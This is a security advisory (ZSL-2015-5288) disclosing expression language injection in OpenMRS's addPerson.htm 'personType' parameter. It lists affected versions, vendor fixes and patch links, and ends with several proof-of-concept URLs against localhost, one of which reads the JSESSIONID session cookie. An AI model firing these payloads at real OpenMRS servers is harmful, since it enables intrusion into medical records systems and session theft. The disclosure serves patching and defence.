78 lines
No EOL
3.2 KiB
Text
78 lines
No EOL
3.2 KiB
Text
OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability
|
|
|
|
|
|
Vendor: OpenMRS Inc.
|
|
Product web page: http://www.openmrs.org
|
|
Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
|
|
OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
|
|
|
|
Summary: OpenMRS is an application which enables design
|
|
of a customized medical records system with no programming
|
|
knowledge (although medical and systems analysis knowledge
|
|
is required). It is a common framework upon which medical
|
|
informatics efforts in developing countries can be built.
|
|
|
|
Desc: Input passed via the 'personType' parameter is not
|
|
properly sanitised in the spring's expression language
|
|
support via 'addPerson.htm' script before being used. This
|
|
can be exploited to inject expression language (EL) and
|
|
subsequently execute arbitrary Java code.
|
|
|
|
|
|
Tested on: Ubuntu 12.04.5 LTS
|
|
Apache Tomcat/7.0.26
|
|
Apache Tomcat/6.0.36
|
|
Apache Coyote/1.1
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2015-5288
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5288.php
|
|
|
|
Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
|
|
Severity: Major
|
|
Exploit: Remote Code Execution by an authenticated user
|
|
|
|
Vendor Bug Fixes:
|
|
|
|
Disabled serialization and deserialization of dynamic proxies
|
|
Disabled deserialization of external entities in XML files
|
|
Disabled spring's Expression Language support
|
|
|
|
https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
|
|
https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
|
|
https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
|
|
http://openmrs.org/2015/12/reference-application-2-3-1-released/
|
|
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
|
|
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
|
|
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
|
|
https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
|
|
https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
|
|
https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
|
|
|
|
OpenMRS platform has been upgraded to version 1.11.5
|
|
Reporting module has been upgraded to version 0.9.8.1
|
|
Metadata sharing module has been upgraded to version 1.1.10
|
|
Serialization.xstream module has been upgraded to version 0.2.10
|
|
|
|
Who is affected?
|
|
|
|
Anyone running OpenMRS Platform (1.9.0 and later)
|
|
Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
|
|
Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
|
|
Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
|
|
|
|
|
|
02.11.2015
|
|
|
|
--
|
|
|
|
|
|
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${3*3}&viewType=
|
|
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${applicationScope}&viewType=
|
|
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=%3Ci%3E${username}&viewType=
|
|
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${cookie[%22JSESSIONID%22].value}
|
|
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${Condition?%22Ok%22:3%3C2} |